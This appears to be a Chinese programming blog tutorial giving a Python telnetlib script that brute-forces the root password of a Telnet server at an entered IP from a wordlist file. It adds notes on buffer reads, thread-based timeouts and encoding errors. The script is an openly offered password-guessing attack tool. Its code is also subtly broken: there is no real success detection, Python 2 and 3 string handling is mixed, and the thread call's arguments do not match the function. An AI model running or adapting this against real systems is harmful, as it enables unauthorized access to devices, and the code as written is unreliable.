Python使用TelnetLib实现自动密码爆破与连接检测
本文介绍利用Python内置telnetlib模块实现Telnet自动连接及密码检测的方法。通过遍历密码本逐一尝试登录,结合read_until等缓冲区读取机制处理数据延迟。针对连接超时死锁问题,提供了基于sleep的简单替代方案及利用threading线程控制超时的推荐做法,并解决了Unicode编码报错问题,适用于嵌入式Linux等系统的远程维护场景。
Python Telnet自动密码检测实现原理
近期在进行Python网络编程学习时,编写了一段用于自动连接Telnet并检测root用户密码的代码。该程序读取预设的密码本,逐个尝试密码匹配,一旦找到正确密码即停止运行并在屏幕输出结果。
Python标准库中内置了telnetlib模块,专门用于支持Telnet远程操作。开发者只需在代码中直接导入该模块即可使用其提供的功能。
具体实现代码如下所示:
核心代码解析
# encoding=utf-8
import telnetlib
import time
import sys
import os
def do_telnet(Host, Port, username, password, finish):
# 连接Telnet服务器
tn = telnetlib.Telnet(Host, Port, timeout=1)
tn.set_debuglevel(3)
# 输入登录用户名
tn.read_until("login: ")
tn.write(str(username) + '\n')
# 输入登录密码
tn.read_until("Password: ")
tn.write(str(password) + '\n')
# 判断密码错误提示,如果没有这个提示说明登录成功
if tn.read_until(finish):
print("****** login incorrect!\n")
tn.close()
if __name__ == '__main__':
Host = input("IP:") # Telnet服务器IP
Port = input("Port:") # Telnet服务器端口
username = 'root' # 登录用户名
finish = 'incorrect' # 密码错误提示
pw_file = open('.\\pw.txt', 'r+') # 密码文件
Index = 0
print(time.asctime(), ": ****** begin", "\n")
while True:
password = pw_file.readline()
Index += 1
print(Index, time.asctime(), ": ****** try", "", username, ":", password, "")
if len(password) == 0:
break
do_telnet(Host, Port, username, password, finish)
pw_file.close()
密码本文件pw.txt的内容示例如下:
root
admin
12345
888888
程序运行后的输出结果如下:

注意:本次测试的目标主机为嵌入式Linux系统,登录用户名为root。当密码错误时,系统返回包含incorrect字样的提示信息。实际应用中,需根据目标系统的不同调整用户名及错误提示关键词。
数据读取机制与缓冲区处理
telnetlib模块提供了多种数据读取方法,例如read_until()会在缓冲区中出现指定信息时返回结果;read_some()只要有数据返回即执行;read_very_lazy()则直接返回缓冲区当前数据。分析源码可知,telnetlib采用缓冲机制处理数据,因此数据并非一次性返回,而是先存入缓冲区。各种读取方法均围绕缓冲区操作,且数据到达时间不确定,可能快速、缓慢或分批到达。因此,read_until()通过判断缓冲区内容是否匹配来避免无效等待,若未匹配则持续等待直至超时。此外,expect方法功能更强大,支持正则表达式匹配,与read_until类似但扩展性更好。
网络上还有一种名为Pexpect的工具,功能较为强大,支持多种协议。其官方主页建议使用Pexpect并下载相关文档。但由于网络环境限制未能成功下载,因此不确定其是否支持Telnet协议。
若将上述程序与ftplib功能结合,可构建一个远程更新的维护工具。然而,如何准确判断后台返回信息仍是一个难点,例如应使用read_lazy()还是read_eager()方法尚不明确。主要挑战在于返回的数据往往不完整,且telnetlib似乎未提供read_line()方法。
连接超时问题与解决方案
在Telnet初始化时,port和timeout为可选参数,其中timeout仅在建立socket连接时生效。一旦连接成功,若后续操作(如使用read_until获取内容)因内容不匹配而进入等待状态,timeout参数将不再起作用,导致socket连接无限期保持,即“永生不死”的状态。
为解决上述超时失效问题,有两种处理方式:一是采用较原始的方法,使用sleep函数替代read_until,这样到时间会自动继续执行,虽可能无法获取预期结果,但避免了死锁,不过该方式稳定性差且兼容性不佳;二是推荐使用线程机制,启动包含Telnet操作的子线程,并对子线程设置超时时间(如join方法指定超时),从而间接控制Telnet连接的生命周期。
import threading
th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))
th1.start()
th1.join(20) ##20秒超时时间
常见编码问题与注意事项
在实际使用过程中遇到以下问题:
传递给Telnet相关方法的字符串会被自动解码一次。如果直接传递已解码的unicode字符串给write方法,将会引发错误。因此,在发送字符串前,建议先将其编码为utf-8或ascii格式,以确保兼容性。
以上即为Python实现Telnet自动连接检测密码的完整示例与注意事项。如需了解更多关于Python Telnet自动检测密码的资料,请持续关注本站其他相关文章。
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













